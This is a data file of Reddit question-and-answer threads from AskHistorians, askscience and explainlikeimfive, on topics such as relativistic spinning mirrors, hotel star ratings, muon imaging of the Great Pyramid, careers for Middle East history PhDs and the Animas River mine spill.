{"q_id": "rwspw", "title": "What period/place/culture would you study if you could?", "selftext": "Many people who become professional historians end up specialising quite heavily in a given area, and many people interested in history don't get the opportunity to do anything about it. If time, money and skill were no barrier, what historical area would you study that you haven't had time for?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/rwspw/what_periodplaceculture_would_you_study_if_you/", "answers": {"a_id": ["c49adkn", "c49aobg", "c49b4pr", "c49c97d", "c49ctd6", "c49cwpx", "c49dlnd", "c49e3h5", "c49kr2v"], "score": [5, 5, 2, 3, 2, 2, 2, 2, 2], "text": ["The cultural and environmental history of sports. If I still have the opportunity to research after I finish my current project, that's one direction I'm thinking of going.", "Chinese History. I'm completely fascinated with how different their religion and philosophy are from western equivalents and how that has shaped such a distinct political climate that westerners often find inscrutable. I find that studying their history and politics helps refine my understanding of western ideologies.\n\nUnfortunately, I have neither the talent, the time or the patience to learn Chinese.", "My work at the moment is focused on the First World War, but in recent months the Vietnam War has been becoming so interesting to me that it's almost turned into a distraction.  It will be nice going forward to have this as a fruitful sideline, perhaps, but I'm sorry that I just don't have the time to shift focus at the moment.  Oh well.", "After the 2008 economic crash and the subsequent Great Recession, I've been very intrigued by economic history, which isn't anywhere close to what I research and write about. Yet I was drawn to works placing our current economic mess with previous boom/busts, and the profound social and political implications of these economic panics in American history. One fascinating example - the rise of new political movements out of economic crisis. One only need compare how the Panic of 1893 gave rise to the Populists, while the Great Recession gave birth to the Tea Party....  ", "Sometimes I think it would be cool to learn Dutch and do work on Huygens.", "I've always been interested in late Classical history in western Europe, and the transition from \"Roman\" to \"Germanic\" society. I don't speak Latin, Greek and so on, so I can't really do much with it yet.", "Ancient Egypt. Sometimes I catch references to it and I am reminded just how unique and, frankly, bizarre that society was. If not that, probably Native American history, because I am an American.\n\nChinese and Mesopotamian history are also of great interest to me, but I keep myself fairly well read on them, because they are pretty relevant to Classical archaeology.", "I would study the Native Americans of my grandmother's people, the Shawnee and those surrounding it. I know a little bit, but no where near what I know about South West US/Mexico and the Spanish invasion of the Americas.\n\nI've not had time nor know where to even start outside of my grandmothers stories.", "The history of the vast lands between the Volga and Gobi. I know almost nothing about it, except it was held by the hordes at some point. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "41avbk", "title": "Would a sufficiently fast spinning mirror distort the reflected image?", "selftext": "Assuming a hypothetical perfectly smooth mirror, that can rotate at any speed including the speed of light. \n\nWould the reflected light distort the image because the light is reflected in a different angle or from a different location? If so, at what speeds would this occur?\n\nI know we can't accelerate an object with mass to (near)light speed, but let's assume this is the case.\n\nEDIT: there seems to be some confusion about the way the mirror is spinning, so to use a term that's been used a couple times below: *the mirror is spinning on the 'frisbee axis'.* \n\nA way to do away with the centripetal force problem, is by imagining a long train passing by incredibly fast with a mirror on its side. The main question: would the speed of a mirror change what we see as the reflection?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/41avbk/would_a_sufficiently_fast_spinning_mirror_distort/", "answers": {"a_id": ["cz1208v", "cz1b1iv", "cz1eo8r"], "score": [11, 7, 24], "text": [" > I know we can't accelerate an object with mass to (near)light speed, but let's assume this is the case.\n\nI urge you to beware of constructing such kinds of questions, as there is a limit to how correct the answers can be when the question boils down to, \"what would physics say happens when you suspend the laws of physics?\" It is a bit like asking, \"if the square root of negative one had a real number solution, what would it be?\" By definition, there are no such solutions. Likewise, the system you are describing is unphysical and so any applications of the laws of physics to it will be invalid to some degree. Much like how if you can use the rules of algebra to divide by zero and make any number equal to any other number, so too can you apply different laws of physics to an unphysical system and get many conflicting answers which are all equally invalid.\n\nA major part of the problem here is that the faster you spin a rigid object, the greater the internal stresses become until the object simply shatters, which will occur long before you reach speeds comparable to that of light at the edge of the rotating object, even for the strongest known materials.\n\nIn a rotating reference frame, length contraction causes lengths in the tangential direction to become smaller.  Consequently, the circumference of a rapidly spinning disc will be *less* than 2pi radians in the rotating frame, essentially compressing the disc and introducing internal stress that will eventually break any bond as you speed up the rotation.\n\nHope that helps.", "I'll assume a magical, indestructible, thin sheet of polished silver that is spinning around its center such that the edges of the mirror are moving at an appreciable fraction of the speed of light (but not at or above the speed of light). The most interesting thing that will happen is the light reflecting from the mirror will be red shifted on one side (the side where the mirror is moving away from you) and blue shifted on the other (the side where the mirror is moving towards you). Of course, your persistence of vision will take over and whatever you see from the mirror will be a convoluted mess of whatever you would be able to see reflected by the mirror at any angle, but one side will be bluer and the other will be redder. The effect would decrease towards the center. Of course the whole thing will be complicated, as you have to mix in the results from when the mirror is at a variety of different angles. \n\nReally, the mirror doesn't have to be going particularly fast for the red/blue shift to be measurable. The effect is called the doppler shift and the fundamental effect behind radar guns. The effect just won't be discernible by human vision in any realistic experiment.  \n\nAs for distortion of the image, I don't know. If the mirror were instead a piece of glass, the light traveling through it would be subject to drag (see the wikipedia article on the Fizeau experiment), causing some sort of distortion. I'm not positive whether the same is true of pure reflection or not.", "So let's restrict ourselves to a mirror that is rotating near the speed of light, since a mirror moving faster than the speed of light doesn't make sense. Also, keep in mind that any real object will be ripped apart once it starts spinning at relativistic speeds because of the centripetal forces needed. But let's assume your mirror is very strong and think about what happens.\n\nIf you spin the mirror like a coin (i.e. around a long axis), then the image will be a blur since the angle is changing. As the mirror gets to relativistic speeds, u/EpiphanyWeasel correctly predicts it will redshift on one side and blueshift on the other. Eventually, you won't be able to see the light coming off it because it will be gamma rays on one side and microwaves on the other.\n\nYou can also spin the mirror like a frisbee (i.e. around the short axis). Now we should probably point out the [Ehrenfest paradox](_URL_3_), which points out some of the hidden complications in trying to specify a spinning rigid object. Basically, centrifugal forces would stretch the mirror out but relativity predicts it would be undergo length contraction. I believe if the speed of sound in the mirror was equal to the speed of light, then these effects perfectly cancel and the mirror stays the same size. Let's assume that is the case to keep things simple.\n\nOK, so our circular mirror is spinning around but it still maintains the same shape. It might seem like it should reflect normally, but it turn out there is still a Doppler redshift to worry about. The [transverse Doppler shift](_URL_1_) is unique to relativity. ~~The light that bounces back to you would be shifted by increasing amounts as a function of radius and the image would have a funny spiral distortion to it, since the [angle of reflection changes for a moving mirror](_URL_2_).~~\n\n**edit** I thought about the problem some more since I ran out of the house this morning, and I take back the statement about the redshift. There would be a doppler shift for a light source attached to the mirror, but for light reflected from the mirror the Doppler shift goes to zero. Looking around I found [this paper](_URL_0_) that agrees with my second take on the problem. So I think a transversely rotating mirror would reflect normally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.researchgate.net/publication/2994741_Reflection_Mechanisms_Doppler_Effect_and_Special_Relativity", "https://en.wikipedia.org/wiki/Relativistic_Doppler_effect#Transverse_Doppler_effect", "http://arxiv.org/pdf/1207.0998.pdf", "https://en.wikipedia.org/wiki/Ehrenfest_paradox"]]}
{"q_id": "6d1kp4", "title": "In the recent visit that Trump, Melania and their daughter Ivanka made to Vatican City State, we were able to see mother and daughter wearing black, as only Catholic queens are allowed to wear white while in a visit to the Pope. What are the origins of this tradition and why was it created?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6d1kp4/in_the_recent_visit_that_trump_melania_and_their/", "answers": {"a_id": ["dhz8m1k", "dhzmzw2", "di0eb80"], "score": [524, 87, 26], "text": ["Further to OP's question, have there ever been any serious implications for that rule being flouted in the past? Or is it just 'frowned upon'?", "As another add on: Are/were there any rules to how Kings should dress? Or would their normal court attire be enough?", "Another question is how does one earn the title \"Catholic queen\" I googled it but nothing came up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "crgqak", "title": "with multiple confirmed scandals involving the president of the us. why no decisive action has been taken? who would be capable of taking action and why haven't they done it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crgqak/eli5_with_multiple_confirmed_scandals_involving/", "answers": {"a_id": ["ex4wky5"], "score": [2], "text": ["Officially, there is an impeachment inquiry underway in the House. Considering the Mueller Report was finally released in April, the House has moved quite fast. Knowing that the Senate will not impeach, it\u2019s actually best that the House drag the inquiry out as long as possible (this is an opinion I\u2019ve seen argued a lot here). \n\nCheck out r/keep_track"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2apvhs", "title": "how does credit card consolidation work and what does it do to your credit?", "selftext": "Thinking about taking this route to help control some debt, but don't know if it's right. Has anyone done this before?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2apvhs/eli5_how_does_credit_card_consolidation_work_and/", "answers": {"a_id": ["cixkhzg", "cixkys8"], "score": [2, 3], "text": ["It combines the debt of several credit cards into a more long term loan, usually with a higher interest rate.  As long as you pay it on time, it shouldn't affect your credit at all. ", "I've done it before.\n \nI had several credit cards, the basics like Visa but also many store-specific cards like Macys and Talbots, and they all had high interest rates and I was only able to make minimum payments.  If I hadn't consolidated I'd have been making minimum payments for my entire life, probably.\n \nMy credit union consolidated all that debt into one loan.  That means they \"loaned\" me money by paying off all those high interest rate credit cards for me (this improved my credit score immediately since in effect I paid off all my debt all at once).  Then I had to pay the credit union that money back but at a **much lower** interest rate.\n \nAfter consolidation I was able to pay off my debt much faster and more of my payments were going to the balance instead of paying off monthly interest.  If you have a lot of high interest rate cards, consolidate ASAP.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4px6de", "title": "can someone explain the hotel rating system?", "selftext": "My parents always go for the max but is 1-3 star really all that bad?\n\nEdit: wow this has gotten crazy attention thanks for all the replies :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4px6de/eli5_can_someone_explain_the_hotel_rating_system/", "answers": {"a_id": ["d4ohh0k", "d4oitu5", "d4om5ct", "d4or4v6", "d4ourqj", "d4owmz9", "d4oyuwm", "d4p3sr4", "d4p4qdk"], "score": [415, 9, 22, 76, 3, 4, 2, 3, 6], "text": ["No it's not. If you're talking about the widely used \"star\" system and not some ranking process that some website made up recently for its own purposes, it doesn't directly *and only* represent the place's quality.\n\nThe number of stars in \"official\" ranking systems has to do with the number of amenities and services offered by the hotel. If it includes a valet, a concierge, a day spa, a pool, a restaurant and bar, room service, great decor and so on, all of these perks add up to the star rating associated with the hotel. If on the other hand it's a small but very clean place that only offers you a small room and an ice machine down the hall, despite being run by the nicest staff in the world that'll do just about anything for you to ensure your stay is pleasant, it'll still only be a two-star establishment.\n\nThere's absolutely a *correlation* between the number of stars and the quality of the place though. It takes a LOT of money to run a five-star hotel, and they can't afford bad reviews or pissed off customers so they usually try and train their staff very well. So five stars usually means a great and comfortable stay... usually. And you pay a lot more for it.", "Large hotel chains, such as Marriott, Hyatt, and Hilton also operate outside of the star system. And their lowest tier hotels are generally going to be similarly trained to their higher tier hotels. ", "No, hotels simply get stars for additional services. E.g. the main difference between a 4 and 5 star hotel is that the 5 star one must provide 24-hour room service.", "Here is some of the criteria of the official European Hotel union, that presents stars to a hotels ^(but there is no law that unifies different countries, so it may differ)\n\n/*:\n\n* 100% of the rooms with shower/WC or bath tub/WC\n* Daily room cleaning\n* 100% of the rooms with colour-TV together with remote control\n* Table and chair\n* Soap or body wash\n* Reception service\n* Facsimile at the reception\n* Publicly available telephone for guests\n* Extended breakfast\n* Beverage offer in the hotel\n* Deposit possibility\n\n/** S:\n\nThe Superior flag is provided when the additional service and accommodation provisions are not sufficient for the next Hotelstar. The bathroom facilities are usually at the same level as for two stars hotels but built from cheaper materials. The cost for regular inspection by independent associations is waived as well.\n\n/**:\n\n* Breakfast buffet\n* Reading light next to the bed\n* Bath essence or shower gel\n* Bath towels\n* Linen shelves\n* Offer of sanitary products (e.g. toothbrush, toothpaste, shaving kit)\n* Credit Cards\n\n/** S:\n\nThe Superior flag is provided when the additional service and accommodation provisions are not sufficient for the next Hotelstar. The Standard-Superior does usually offer the same service level as three-star hotels but the interiors of the hotel are smaller and cheaper so that the three stars were not to be awarded by the inspection body. A two-star superior does not require mystery guesting.\n\n/***:\n\n* Reception opened 14 hours, accessible by phone 24 hours from inside and outside, bilingual staff (e.g. German/English)\n* Three piece suite at the reception, luggage service\n* Beverage offer in the room\n* Telephone in the room\n* Internet access in the room or in the public area\n* Heating facility in the bathroom, hair-dryer, cleansing tissue\n* Dressing mirror, place to put the luggage/suitcase\n* Sewing kit, shoe polish utensils, laundry and ironing service\n* Additional pillow and additional blanket on demand\n* Systematic complaint management system\n\n/*** S:\n\nThe Superior flag is provided when the additional service and accommodation provisions are not sufficient for the next Hotelstar. The accommodation facilities for a superior hotel need to be on a modern level and fully renovated which is checked regularly.\n\n/****:\n\n* Reception opened 18 hours, accessible by phone 24 hours from inside and outside\n* Lobby with seats and beverage service\n* Breakfast buffet or breakfast menu card via room service\n* Minibar or 24 hours beverages via room service\n* Upholstered chair/couch with side table\n* Bath robe and slippers on demand\n* Cosmetic products (e.g. shower cap, nail file, cotton swabs), vanity mirror, tray of a large scale in the bathroom\n* Internet access and internet terminal\n\n/**** S:\n\nThe Superior flag is provided when the first class hotel has a proven high quality not only in the rooms. The superior hotels provide for additional facilities in the hotel like a sauna or a workout room. The quality is checked regularly by mystery guesting of an external inspection service.\n\n/*****:\n\n* Reception opened 24 hours, multilingual staff\n* Doorman-service or valet parking\n* Concierge, page boy\n* Spacious reception hall with several seats and beverage service\n* Personalized greeting for each guest with fresh flowers or a present in the room\n* Minibar and food and beverage offer via room service during 24 hours\n* Personal care products in flacons\n* Internet-PC in the room\n* Safe in the room\n* Ironing service (return within 1 hour), shoe polish service\n* Turndown service in the evening\n* Mystery guesting\n\n/*****S:\n\nThe Luxury star hotels need to attain high expectations of an international guest service. The Superior Luxury star is only awarded with a system of intensive guest care.", "To put everything into simple, layman context:\n\n1-3 star depends on the amount of facilities that the hotel provides i.e. swimming pool, gym, wifi, room service, in-room dining, etc etc there's a whole list to meet so as to be certified as 3 star. \n\n4-5 star will be through recommendation and service standard provided. For example, a 4/5-star hotel might have wet towels standby-ed at the front desk on a hot day for customers to wipe their faces and cool down a little which a  < 3-star hotel might not provide.\n\nThese ratings are purely by a set of people whom I'm too lazy to find out which organization it is from but you get my point. \n\nUltimately, there is no bad hotel or good hotel, only good hotel-stay experience and bad-hotel stay experience. \n\nSource: Worked in a hotel before as an intern and asked ton of question to my managers.   ", "Well.. Finally something i can chime in. \n\nStar and diamond rankings are done by AAA and Forbes travel guides. The rankings have different meanings and different criteria.\n\nFor AAA (stars) it is based on the hotel cleanliness, aesthetics, amenities with a little bit of service added. \n\nForbes (diamonds) focuses specifically on service standards, amenities offered (compared to available), and then spends a little on the aesthetics \n\nA good example, one of the Forbes rankings for a three diamond hotel is name usage.. Using the guests last name two times in conversation is a requirement, but for a 4 or 5 diamond ranking the last name must be used 3 times. Some other rankings for the higher Forbes rsnkings include if the agent offered a service, was genuine, passed an item with two hands etc.. \n\nWith AAA rankings will include if there is 24-hour in room dining, a restaurant/dining option in the hotel etc.. \n\nSource: am hotel manager, currently working in a 4 star hotel, attempting to get 5-diamonds", "Are you Gustave H., of the Grand Budapest Hotel, in Naplesbad?\n", "2 to 2.5 star hotels are the best if you like free amenities.  You go to the nicer hotels and you'll be paying 10 bucks for breakfast, 10 bucks for internet, and 10 bucks for parking.", "There are two: stars (Forbes) and diamonds (AAA). A five diamond hotel is the best hotel you can possibly stay in (source: a good friend has worked in the hotel industry for years at a four diamond hotel)\n\nStars: \n\nOne Star - limited-service . Clean, comfortable and reliable.\n\nTwo Star - clean, comfortable and reliable with expanded amenities, such as a full-service restaurant.\n\nThree Star - well-appointed establishments with enhanced amenities. Give a strong sense of location, providing guests with easy access to local events, meetings or tourism highlights.\n\nFour Star - provide a distinctive setting with things to enjoy on property. Staff are accommodating and cater to the guest\u2019s specific needs.\n\nFive Star - virtually flawless service and the finest amenities. Staff are intuitive and eager to deliver service above and beyond expectations. Designed with comfort in mind, with particular attention paid to craftsmanship and quality. Practically a destination in itself.\n\nDiamonds:\n\nOne Diamond - no frills essentials for the budget-minded traveler that meet the basic requirements pertaining for comfort, cleanliness, and hospitality\n\nTwo Diamond - modest enhancements to the overall design and amenities, moderate price.\n\nThree Diamond - for folks with more needs. Upgrades in the quality of overall design, amenities, and level of comfort provided.\n\nFour Diamond - Upscale in all areas and reflect high quality throughout. Marked by extensive array of amenities combined with a high degree of hospitality, service, and attention to detail.\n\nFive Diamond - the ultimate in luxury. Extraordinary first class experience marked by providing meticulous service, exceeding all expectations, and maintaining near-perfect standards of excellence. Personalized services and amenities provide an unmatched level of comfort"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "38wleo", "title": "Is it possible for the Great Attractor to be a Hypergiant(?) Black hole?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/38wleo/is_it_possible_for_the_great_attractor_to_be_a/", "answers": {"a_id": ["crykzsg", "cryrl27", "crzbn74", "crzgpch"], "score": [7, 5, 12, 2], "text": ["There's an extremely big cluster of galaxies there, each galaxy absurd in size, or even more likely a bunch of galaxies in the process of merger. In the central hub there will be a huge black hole, or several of them in a horrific dance that cuts through millions of stars and accidentally gobbling up a few every now and then. But the central mass will be surrounded by swarms of stars. ", "I believe the general consensus right now is that it is some very large cluster of stars/galaxies that we can't directly observe. ", "It's always important to keep in mind, a black hole is *not* a great cosmic vacuum cleaner. It doesn't have a preternatural ability to suck up everything in its path.\n\nWhat determines the strength of an object's gravitational pull is, more or less, its mass and its distance from us. A black hole is special because it's compact. This means you can get closer to it while still feeling all of its mass. But from a distance, it gravitates just the same as anything else with the same mass.", "The main thing that sets black holes apart from other forms of matter is not how massive they are, but how *dense* they are.  You could theoretically turn anything of any size/mass into a black hole if it was squeezed hard enough. So there's no reason to think that the Great Attractor is a staggeringly-huge black hole instead of some other form of matter, like an uncharacteristically-large cluster of galaxies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7ahi85", "title": "how we found the void in the great pyramid of giza? (how muon tomography really works)", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ahi85/eli5_how_we_found_the_void_in_the_great_pyramid/", "answers": {"a_id": ["dpa2kqp", "dpa4q9n"], "score": [5, 4], "text": ["ELI18+ is the Wikipedia article.\n\nThere are particles with high energy hitting the atmosphere. In the collisions, muons are produced, tiny particles that don't live long. The muons travel downwards (typically not directly vertically, but still downwards) until they are stopped. Rock stops more muons than air. If you put a muon detector somewhere, the amount of muons you detect depends on how much rock is above you.\n\nIf your detector can detect the direction of muons as well, you can detect the amount of rock in all directions above you. If you expect 100 meters of rock from the pyramid in some direction, you can calculate how many muons you expect and compare that to the measurement. Fewer muons? - >  more muon-stopping rock in the way. More muons? - >  Less muon-stopping rock in the way.\n\nRepeat that measurement in multiple places and you get a rough idea how much rock is where in the pyramid.", "A very basic example that physics student do sometimes (provided they have a campus with a mountain on only one side) \nTake a muon detector point it to the sea-side and count muons. Then point the muon detector toward the mountain and count the muons.  You'll see that there is less muon coming from the mountain than from the sea. \n\nNow, muon attenuation in material is known, and muons are produced by cosmic ray which have a known spectrum (but a few points with large uncertainties at extreme energies) so you can compute the expected muon rate from a direction. If there is an obstactle on the way you can compute the attenuation of the obstactle. \n\nMuon imaging does the opposite, you count the muons arriving, and you deduce the attenuation. \n\nThe main difficulty is to collect enough muon to see \"small difference\" in attenuation"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "97bf4x", "title": "I am considering a PhD in Islamic History/Modern Levant History, will I find a job afterwards?", "selftext": "Still a sophomore in college, but have a good GPA (3.9ish) and will be looking for research opportunities at my state university this year. I am most interested in a mix of the two above, are these areas viable for tenure track positions?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/97bf4x/i_am_considering_a_phd_in_islamic_historymodern/", "answers": {"a_id": ["e46wocy", "e477y30", "e47ag0i", "e47ceh0"], "score": [18, 10, 2, 9], "text": ["[The history PhD market is pretty grim in general](_URL_0_), but someone such as u/cptbuck may be able to talk about non-academic jobs with those specializations. ", "Consider the federal intelligence agencies, especially with your interest in Islam.  There are far more intelligence gathering and interpretation of information agencies than you may be aware. And highly recommend you learn Arabic.  Have you considered ROTC?  (Army, Air Force, Navy)  High probability you would find yourself in military intelligence especially if you request MI even with a BA. (The military might send you to school for your PhD.  Most of the senior officers in the military have advanced degrees.) The training one receives is very valuable and would raise your desirability even in the private sector.   Even as a sophomore you can join ROTC and be deferred to obtain your PhD.  At one time there were ROTC programs that paid tuition and books plus a monthly stipend.  (Example: The army has their own medical school.)  If this direction interests you, I would suggest you talk with one of the ROTC cadre (active duty military officer) either at your University or a school with a program. (NOT the local recruiter!) Being ex-military officer will open doors.  ", "My brother in law got PhD in Chinese and Tibetan religion and was recruited by the State Department before he even graduated. He has worked at embassies all over Asia. He insists he's not CIA but he could be:)", "With thanks for the heads up from /u/jschooltiger, I can talk a bit non-academic jobs in this field.\n\nLet me preface this by saying that I do *not* have a PhD. I have a BA in Arabic and Islamic Studies (that I can turn into an MA in a few years if I want to for reasons that are dumb/complicated/historically obsolete: _URL_0_)\n\nBut! I have made a career out of working on and about the region and worked with a bunch of PhDs who have gone the non-academic route so I have a decent feel for what\u2019s out there.\n\nSome preliminary considerations: there are plenty of places that will hire you with those qualifications but it depends a lot on what you want to actually speciialize in as to whether or not it will be relevant to your interests. So for example if you were to write a PhD dissertation on 11th century Sufi poetry in the Maghreb, you could almost certainly get a job at the Middle East department of a management consultancy firm, but you\u2019ll be looking how ARAMCO can improve its profit margins, not Sufi poetry.\n\nThe modern Levant, on the other hand, has a lot more opportunities for practical, relevant jobs. So let\u2019s say you did your dissertation on the development of Salafi-Jihadi networks in Syria from 2011-2013, there are a lot of places that would pay you to keep looking at Salafi-Jihadi groups.\n\nSo that\u2019s the question of specialization.\n\nThe other question is language and regional experience.\n\nI am *not* fluent in Arabic, but I am highly proficient. If you hand me a newspaper, I can read it. For my professional purposes, that has been good enough, but I frequently run into job listings that require fluency, and that\u2019s a pretty binary cutoff.\n\nIf you\u2019re not on track to develop those kind of language skills, a PhD on these topics probably isn\u2019t in the cards anyways as it\u2019s usually a pre-requisite.\n\nI have also spent a lot of time in the region itself. In the past ten years I\u2019ve spent about 5 of them split between the UAE, Egypt, and Jordan. I\u2019ve also travelled as extensively as has been feasible. There\u2019s a big credibility gap between people who have done their overseas time and those who haven\u2019t, particularly when people from the region itself who are native speakers are your competition. This isn\u2019t necessarily a deal breaker, there are some prominent Syria analysts who have never set foot in Syria, but they\u2019re reminded of that fact constantly.\n\nIf you have the chance to do a year abroad somewhere, I would encourage you to do so.\n\nOk so with those preliminaries out of the way, what are some of your options?\n\n1. Think Tanks. Getting a fellowship at a think tank is probably about as competitive as getting a tenure track position at a university\u2014it has a lot of the same benefits except you don\u2019t have to teach. There are also lower level research positions at these think tanks. Pretty much everyone doing anything interesting at a think tank has a PhD though, and even some of the people not doing interesting work. Think Tanks tend to have a political leaning, e.g. Brookings is center left, Heritage is right. There are also Middle East specialty think tanks. Some of these have regional political questions (e.g. is it funded by Qatar or is it funded by Saudi?)\n\nSo, that\u2019s a difficult world to enter but it\u2019s probably the closest equivalent to academia and will let you work on either historical or contemporary issues.\n\n2. Journalism. The journalism market is rough. But a PhD, particularly one with field experience, might be attractive. Journalism doesn\u2019t pay well, and they might want to send you to not-nice places. This is also one where they\u2019re probably going to want you to be fluent.\n\n3. Risk Consultancies. There are a lot of interesting consultancies that are hiring people with regional expertise. Have a look at the job openings at someplace like Eurasia Group or Control Risks.\n\nTwo jobs ago I worked as a security analyst for one of these firms writing basically about terrorism and other threats in the region. It was a great job, paid well. Your mileage may vary. Some of these firms do not pay well if you\u2019re working in the West, but are much more attractive if you\u2019re willing to move to, say, Dubai.\n\n4. Management consultancies\n\nDepending on your interests, this might interesting to you. They pay pretty damn well and will reward your PhD degree with title and salary. These firms can and do work on interesting deep questions about the Middle East for government and corporate clients. But you might also be figuring out due diligence for a cement factory acquisition in Karachi.\n\nIt\u2019s an option, but one that I\u2019ve avoided.\n\n5. Government agencies.\n\nThere are a lot of government agencies that are in theory interested in these skills as another poster mentioned. Assuming you\u2019re a US citizen, these include State, CIA, FBI, and NSA.\n\nThese jobs are highly competitive. Former CIA Director Hayden once gave out some absurd figure for how many full length applications the CIA gets each year. These applications are *not* simple to submit. There\u2019s also an, ahem, interesting political situation at the moment. State flat out was not hiring last year under Tillerson, I\u2019m not sure if that has continued under Pompeo.\n\n6. Government contractors\n\nBooze Allen Hamilton and other similar contractors have analyst positions similar to the agencies. The problem is that they\u2019re often looking for people who have experience at those agencies. Many jobs require not just a graduate degree but an existing security clearance or familiarity with proprietary government analytic software.\n\n7. Basically unrelated corporate positions in-region\n\nIf you just want a job that uses your language and regional skills, there\u2019s a lot of that in-region. I briefly worked in PR in Abu Dhabi. For a variety of reasons I wasn\u2019t especially happy with that, but it used more regional expertise than you might expect (particularly requiring a familiarity with regional media, as you might imagine.)\n\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\n\nSo to wrap up, can I guarantee you a job opening with a PhD in this field? No, and a lot of these jobs are highly competitive. But there\u2019s no lack of availability of jobs per se. It depends a lot on your interests, your hypothetical specialty, your skills, and how far you\u2019re willing to stray from the purity of academia.\n\nEdit: ugggh, the numbering got messed up \ud83e\udd37\u200d\u2642\ufe0f"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/96yf9h/monday_methods_why_you_should_not_get_a_history/"], [], [], ["https://en.m.wikipedia.org/wiki/Master_of_Arts_(Oxbridge_and_Dublin)"]]}
{"q_id": "7s6pxj", "title": "why is there no pleasure response towards protein like there is towards fat or sugar?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7s6pxj/eli5_why_is_there_no_pleasure_response_towards/", "answers": {"a_id": ["dt2d07i", "dt2dljd", "dt2dnyt", "dt2ex8z", "dt2f6jy", "dt2ftyw"], "score": [6, 12, 2, 2, 6, 2], "text": ["Not sure if that's true. Yes, I do have plenty of cravings for sweets, but when I'm too hungry sweets is not something my body desires, I actually often crave meat (protein mostly), it's just a completely different type of craving", "You've never had a craving for steak or sushi, and a pleasure response when you gratify it?", "I believe it has something to do with the fact that glucose and other major sources of energy are abundant in fats and carbohydrates. The body has a natural craving for these foods for this reason. ", "In a way ...only protein give pleasure response. Our body uses aminoacids ( building blocks) to produce dopamine, than the release of such neurotransmitter  cause a series of effect, among them there is also a \"chemical\" satisfaction feeling.\nTo produce dopamine ( its precursor) one of the base amino acid is l tyrosine found mainly in chickens , fish milk , soy, sesame seeds and others.\n", "There is: Protein rich foods typically also have a lot of free amino acids. One of these is glutamate, which triggers our [umami taste](_URL_0_). \n\nThe problem with it is that it doesn't respond to all protein rich foods equally well. That is why we often cook with ingredients that have a lot of glutamate, such as tomatoes, broth, cheese, soy sauce and MSG.", "Not true at all.\n\nThe tongue has taste receptors for the amino acid glutamatic acid which is found in almost all proteins. This produces the characteristic savory or \"Unami\" taste of many foods. \n\nCooked meat, soup, bread, peas and beans, for example. Most people would describe savory flavors as pleasurable.\n\nIn fact it's common in many countries to add sodium glutamate(MSG) to savory foods, as this improves the flavor. There was a cancer panic in the US (there was no scientific basis for this,) back in the 90's and MSG has kind of fallen out of favor there. Ironically, it's been replaced by things like hydrolyzed soy,  chicken stock, yeast extract, etc, that natually contain sodium glutamate already, hence the savory flavor.\n\nCooking tends to liberate glutamatic acid by thermally breaking down proteins."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Umami"], []]}
{"q_id": "3gt273", "title": "the animas river disaster", "selftext": "The EPA unleashed nearly 3 million gallons of mine waste into the river causing the river to change color. Last I heard they still had not plugged to leak. What is preventing them from sealing the leak? Where is the water coming from? How can waste from the 20's still be viable enough to contaminate the river? Is it dry or wet waste that mixes with the water? What type of seal was strong enough to hold back 3 million+ gallons of water? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gt273/eli5_the_animas_river_disaster/", "answers": {"a_id": ["cu1bhcm", "cu1d3k1"], "score": [2, 2], "text": ["Waste from the 20's doesn't decay.\n\nIf you have a mine full of heavy metal laced water in 1920, in 2015, all the toxic metals are still there, maybe with more water, maybe less depending on evaporation and the local water table.\n\nGive it millions or billions of years and those toxic metals will probably eventually find themselves a stable home in a rock somewhere, but a hundred years is a blink of an eye geologically.", "Near the headwaters of the Animas River there are tons of abandoned mines and they get plugged with gravel and rock so there isn't a stream of acidic water flowing out. However this causes the mine shafts to fill with water where it get all kinds of acidic heavy metals mixed in. The epa was trying to fix one of these sites before it burst, but they ended up breaking it instead.\n\nThe mine drained rather quickly and the creek it was by cleared up within 24 hours (that creek was been dead and acidic for a long time). However as the million or so gallons flow down stream it has the potential to kill a lot of fish and generally harm the ecosystem. \n\nThe river was acidic and yellow in Durango for about 4 days. As the waste water moves down stream it will become diluted to safe levels.\n\nMines in this region have burst before but this is just one of the largest.\n\nTldr: water that filled an old mine burst out when an rock plug broke\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
